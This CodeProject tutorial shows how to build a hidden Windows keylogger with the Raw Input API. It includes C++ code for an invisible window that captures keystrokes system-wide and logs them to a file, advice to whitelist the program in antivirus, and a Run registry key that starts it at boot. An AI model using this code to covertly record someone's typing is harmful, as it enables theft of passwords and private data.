Click here to Skip to main content
65,938 articles
CodeProject is changing. Read more.
Articles / desktop / Win32

Minimal Key Logger Using RAWINPUT

4.83/5 (25 votes)
1 Jan 2012CPOL9 min read 133.1K   6.8K  
An alternative to hooked key logging.

Introduction

The WndProc section of the article is primarily aimed at intermediate programmers; however I will attempt to explain the code in a step by step fashion so that raw beginners should be able to follow it without any problems.

There are numerous reference hyperlinks (mainly Microsoft) included to cross reference the subject matter. All you newbie’s out there, please have a play around with this code and have fun and learn.

Key loggers are a topical subject, for instance, questions like this arise; are they ethical? Are they legal? Well, this article will not delve into these issues; I coded this to explore the newish (WinXP minimum) Raw Input Model offered by Microsoft to see how it works.

I hope this article will be the base for further discussion and exploration of the feature-rich WM_INPUT messaging feature.

The majority of software based key loggers hook keyboard Windows APIs; the Operating System notifies the key logger when a key is pressed and the key logger then records it.

APIs such as GetForegroundWindow, GetAsyncKeyState are quite often used to subscribe to keyboard events in the currently focused window.

These types of key loggers can cause problems due to constant polling of each key, they can cause a noticeable increase in CPU usage, and can also miss the occasional key. The Raw Input Model overcomes these shortcomings.

What Microsoft says

The raw input model is different from the original Windows input model for the keyboard and mouse. In the original input model, an application receives device-independent input in the form of messages that are sent or posted to its windows, such as WM_CHAR, WM_MOUSEMOVE, and WM_APPCOMMAND. In contrast, for raw input, an application must register the devices it wants to get data from. Also, the application gets the raw input through the WM_INPUT message.

There are several advantages to the raw input model:

  • An application does not have to detect or open the input device.
  • An application gets the data directly from the device, and processes the data for its needs.
  • An application can distinguish the source of the input even if it is from the same type of device. For example, two mouse devices.
  • An application manages the data traffic by specifying data from a collection of devices or only specific device types.
  • HID devices can be used as they become available in the marketplace, without waiting for new message types or an updated OS to have new commands in WM_APPCOMMAND.

Background

I came across the Raw Input Model by happenstance whilst browsing CodeProject and read an excellent article by Emma Burrows, Using Raw Input from C# to handle multiple keyboards and it inspired me to Google 'Raw Input MSDN', and sure enough Microsoft explains it well here.

My choice of language in this article is based upon my experience. I have coded professionally in .NET, but I personally choose C, C++, or MASM32 (due to my device driver programming background) when dealing with base Windows APIs. (Old habits die hard), however it may be translated to your preference, Visual Basic or C# for instance.

Using the code

The WinMain, skip this section if you are familiar with the subject

The entry point to a user Windows based application is the WinMain function.

C++
int WINAPI WinMain(HINSTANCE hInstance,
    HINSTANCE hPrevInstance,
    LPSTR lpCmdLine,
    int nCmdShow);
{ ...

The hInstance parameter is the handle to this application when run.

hPrevInstance is a handle to a previous instance of this program, it is always NULL and to keep this code simple, I have chosen not to detect if a previous instance is already running; however, it certainly would be a good thing to do.

lpCmdLine is a pointer to a null terminated string command line for the application. We don't use it here, but to see it in action, open a command prompt and type in explorer /select,c:\windows\. This will open Windows Explorer at the Windows directory.

nCmdShow controls how the window is to be shown. This value is actually passed from the Operating System. To see this in action, create a shortcut to Notepad on your Desktop, then right click it to bring up properties and change Run from Normal window to Maximized. With this app, the default SW_SHOWNORMAL (1) is passed in.

Creating the invisible message only window, how it's done

The next item to consider is the WNDCLASS structure, its members set the window class attributes. The attributes include style, background color, icon, cursor, menu, and window procedure.

Our program here only sets up three essential members as we are creating an invisible window.

C++
wc.hInstance     = hInstance; // from WinMain
wc.lpszClassName = L"kl";     // this can be renamed if you wish
wc.lpfnWndProc   = WndProc;   // a pointer to our function that processes window messages

The RegisterClass function registers the window class with the WNDCLASS struct we just populated.

C++
RegisterClass(&wc); // now that the class is registered we create the window
hWnd = CreateWindow(wc.lpszClassName,NULL,0,0,0,0,0,HWND_MESSAGE,NULL,hInstance,NULL);

We only pass bare essentials to CreateWindow namely the class name, our app handle, and the HWND_MESSAGE constant to create an invisible Message Only Window.

The message loop, TranslateMessage not required

In general, Windows programs are essentially message handlers; applications, the OS, and hardware all generate Windows messages that an application listens for and reacts to. The GetMessage function dispatches incoming sent messages until a posted message is available for retrieval. The MSG struct receives the messages. The message loop code below will only exit on WM_QUIT (0), otherwise it translates and dispatches messages continuously.

C++
BOOL bRet;
 while((bRet=GetMessage(&msg,hWnd,0,0))!=0){  // messages are passed into the MSG struct
   if(bRet==-1){
     return bRet;
   }
   else{
     TranslateMessage(&msg); 
     DispatchMessage(&msg); 
   }
}

TranslateMessage normally translates virtual key messages into character messages that are retrieved next time through the loop by GetMessage. In part of the raw input setup explained below, we suppress the messages that TranslateMessage normally handles in the loop.

Registering interest in receiving raw data on the WM_CREATE event in WndProc

DispatchMessage dispatches messages to the window procedure (WndProc) that we declared in the WINDCLASS struct initially.

C++
// WndProc is called when a window message is sent to the handle of the window
LRESULT CALLBACK WndProc(HWND hWnd,UINT message,WPARAM wParam,LPARAM lParam)
{
    switch(message){
    ...

Unlike most window messages which are freely available, a Windows application does not receive the raw input message WM_INPUT by default; to receive it, we must first register interest with the RegisterRawInputDevices function. The first parameter points to the array of RAWINPUTDEVICE structs. The second parameter sets the number of structs, in our case 1. The last parameter is the size of the struct.

On WM_CREATE, a log file is created and the current time and date are logged. Interest in receiving keyboard raw input is registered with the RIDEV_INPUTSINK flag set in the RAWINPUTDEVICE struct so that we receive system wide keystrokes and not just ones received in the focused window, which in our case is invisible anyway.

Also, the RIDEV_NOLEGACY flag is set so that WM_KEYDOWN events and other legacy key events are not generated for the message loop; how and where we get these messages from will become clear in the WM_INPUT section shortly.

C++
case WM_CREATE:{
  // create log file done here
  ..
            
  // register interest in raw data here
  rid.dwFlags=RIDEV_NOLEGACY|RIDEV_INPUTSINK;    
  rid.usUsagePage=1;
  rid.usUsage=6;
  rid.hwndTarget=hWnd;
  RegisterRawInputDevices(&rid,1,sizeof(rid));
  break;
}

RAWINPUTDEVICE usUsagePage and usUsage

usUsagePage is a value for the type of device (this is a partial list below). We use 1 here as that stands for 'generic desktop controls' and covers all the usual input devices. The usUsage value specifies the device within the 'generic desktop controls' group.

  • 1 - generic desktop controls // we use this
  • 2 - simulation controls
  • 3 - vr
  • 4 - sport
  • 5 - game
  • 6 - generic device
  • 7 - keyboard
  • 8 - LEDs
  • 9 - button

usUsage values when usUsagePage is 1:

  • 0 - undefined
  • 1 - pointer
  • 2 - mouse
  • 3 - reserved
  • 4 - joystick
  • 5 - game pad
  • 6 - keyboard // we use this
  • 7 - keypad
  • 8 - multi-axis controller
  • 9 - Tablet PC controls

WM_INPUT

Upon receipt of WM_INPUT messages, we call GetRawInputData. Notice that we call it twice, once to determine how big the buffer should be, and once again to utilize the buffer.

C++
case WM_INPUT:{            
   if(GetRawInputData((HRAWINPUT)lParam,
     RID_INPUT,NULL,&dwSize,sizeof(RAWINPUTHEADER))==-1){
     break;
   }
   LPBYTE lpb=new BYTE[dwSize];
   if(lpb==NULL){
     break;
   }
   if(GetRawInputData((HRAWINPUT)lParam,
     RID_INPUT,lpb,&dwSize,sizeof(RAWINPUTHEADER))!=dwSize){
     delete[] lpb;
     break;
   }

To explain this more fully, the GetRawInputData first parameter is a handle to the RAWINPUT structure from the device, whose members are, due to usUsagePage=1 and usUsage=6 (keyboard):

  • keyboard.MakeCode
  • keyboard.Flags
  • keyboard.Reserved
  • keyboard.ExtraInformation
  • keyboard.Message
  • keyboard.VKey

This RAWINPUT handle is provided for us in the WndProc lParam of the WM_INPUT message. The second parameter we set to RID_INPUT to get the devices raw data, it may also be set to RID_HEADER to get the data header information; however, we do not use it here. The third parameter is a void pointer to the buffer to be used. The fourth parameter is the address of a variable that receives the required size of the buffer. The final parameter is the size of the RAWINPUTHEADER struct.

On the first call, we set the third parameter to NULL as we are only interested in obtaining the size of the buffer that we need to create. On the next call, we set it to point to the newly created buffer itself.

WM_KEYDOWN

Next we obtain the virtual key code from keyboard.VKey and translate it into a character, then we filter keyboard.Message for the WM_KEYDOWN message so that we do not double up on logged keystrokes. Note, all messages are retrieved from keyboard.Message.

C++
PRAWINPUT raw=(PRAWINPUT)lpb;
UINT Event;

StringCchPrintf(szOutput,
    STRSAFE_MAX_CCH,TEXT(" Kbd: make=%04x Flags:%04x " + 
       "Reserved:%04x ExtraInformation:%08x, msg=%04x VK=%04x \n"), 
    raw->data.keyboard.MakeCode, 
    raw->data.keyboard.Flags, 
    raw->data.keyboard.Reserved, 
    raw->data.keyboard.ExtraInformation, 
    raw->data.keyboard.Message, 
    raw->data.keyboard.VKey);
    
Event=raw->data.keyboard.Message;
keyChar=MapVirtualKey(raw->data.keyboard.VKey,MAPVK_VK_TO_CHAR);
delete[] lpb;                     // free this now

// read key once on keydown event only
if(Event==WM_KEYDOWN){
   ...

Log to file

Finally we do a rudimentary filter for backspace, tab, and carriage return, and ignore all else below 'space' and above '~' just so that the log file reflects what was actually keyed in (from Notepad for instance).

C++
if(keyChar<32){
    if((keyChar!=8)&&(keyChar!=9)&&(keyChar!=13)){
      break;                               // exit on all chars below space
    }                                      // except for backspace, tab and cr
  }
  if(keyChar>126){                         // we don't want any chars above ~
    break;
  }
  // open log file for writing
  hFile=CreateFile(fName,
    GENERIC_WRITE,FILE_SHARE_READ,0,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
  if(hFile==INVALID_HANDLE_VALUE){
    break;
  }
  if(keyChar==8){                           // handle backspaces
    SetFilePointer(hFile,-1,NULL,FILE_END);
    keyChar=0;
    WriteFile(hFile,&keyChar,1,&fWritten,0);
    CloseHandle(hFile);
    break;
  }
  SetFilePointer(hFile,0,NULL,FILE_END);
  if(keyChar==13){                          // handle enter key
    WriteFile(hFile,"\r\n",2,&fWritten,0);
    CloseHandle(hFile);
    break;
  }
  WriteFile(hFile,&keyChar,1,&fWritten,0);  // handle all else
  CloseHandle(hFile);

How to test

C++
LPCWSTR fName=L"c:/kl.log"; // change this to suit where you want your log file to reside.

Build and run kl.exe, then open Notepad and type in some stuff, then open kl.log to see the result.

Notes

All logged entries in the log file are upper case, no apologies for this, please find out how this can be resolved. This code is a starting point for your research, please enjoy, and get back to me with your suggestions or questions.

Points of interest

I am running Bit Defender Antivirus Plus 2012 on my Win 7 development computer and to its credit, it picked up this code as being suspect and I had to permit it as an exception to run. If you have similar issues with your anti virus program, allow it also.

If you wish to auto start this program on boot, create this Registry key 'kl' (at your own risk I might add). Don't do it if you are not experienced with Registry edits.

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\kl

Modify the kl key to C:\kl.exe (or your drive letter if not C:).

Then copy kl.exe to your root directory.

History

This is my first article on CodeProject, I hope you like it.

P.S.: If you are capable with MASM32, try it too.

License

This article, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)